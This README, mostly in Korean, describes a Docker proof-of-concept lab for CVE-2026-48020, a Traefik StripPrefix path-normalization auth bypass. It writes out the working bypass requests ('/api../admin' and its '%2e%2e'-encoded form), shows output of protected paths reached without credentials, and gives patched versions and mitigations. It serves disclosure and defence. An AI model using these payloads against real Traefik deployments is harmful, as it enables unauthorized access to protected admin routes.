hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization# CVE-2026-48020 개념 증명 실습 환경 Traefik의 StripPrefix 미들웨어에서 경로 정규화를 통한 치명적인 인증 우회(auth bypass)를 시연하는 개념 증명(PoC) 실습 환경입니다. Docker 기반 재현 환경과 검증 스크립트를 포함합니다.
CVE-2026-48020에 대한 자체 포함 개념 증명(PoC)입니다. 이는 라우팅 결정이 내려진 이후 경로 정규화가 발생하여 생기는, Traefik StripPrefix 미들웨어의 라우트 수준 인증/권한 부여 우회입니다.
GET /api../admin과 같은 요청은 라우팅 시점에 공개된 PathPrefix(\/api`)라우터를 통해 전달됩니다(따라서 보호된 라우터의basicAuth미들웨어는 절대 연결되지 않습니다). 그러나StripPrefix가 /api를 제거하고 Go의 req.URL.JoinPath()가 남은 /../admin을 정규화하면, 백엔드는 보호되어야 했던 경로인 /admin`을 수신하게 됩니다.
| CVE | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 심각 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| 영향 받는 버전 | Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1 |
| 수정 버전 | v2.11.48, v3.6.19, v3.7.3 |
client (poc.py)
│ GET /api../admin ← no credentials
▼
Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix
(skips) protected router (PathPrefix /admin) + basicAuth
│ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
| 파일 | 용도 |
|---|---|
docker-compose.yml | 취약한 Traefik(v3.7.1) + Python 백엔드를 실행 |
dynamic.yml | Traefik 동적 구성: 공개 /api 스트립 라우트와 basicAuth 뒤에 있는 보호된 /admin,/internal 라우트 |
backend.py | 보호된 경로에 대해 비밀값을 반환하는 소형 백엔드 |
poc.py | 우회 페이로드를 전송하고 도달한 경로를 보고 |
docker compose up -d --wait # start Traefik v3.7.1 + backend
python3 poc.py # run the bypass checks
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
v3.7.3)에서우회 페이로드는 200 대신 404를 반환합니다. 이 패치(Traefik PR
#13215)는 StripPrefix/StripPrefixRegex
정규화 후 경로가 달라지는 모든 요청을 거부하므로 /../admin 재작성은 탐지되어 거부됩니다.
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
공개 라우트가 경로 순회 형태와 전혀 일치하지 않도록 하십시오:
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`) + StripPrefix(`/api/`)
WonYun / kyun0(GitHub: H4ck2)이 Traefik 유지보수자에게 보고했으며 GHSA-xf64-8mw2-4gr2에서 수정되었습니다. 이 PoC 랩은 함께 제공되는 게시글을 위해 제작된 독립적인 재현입니다: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.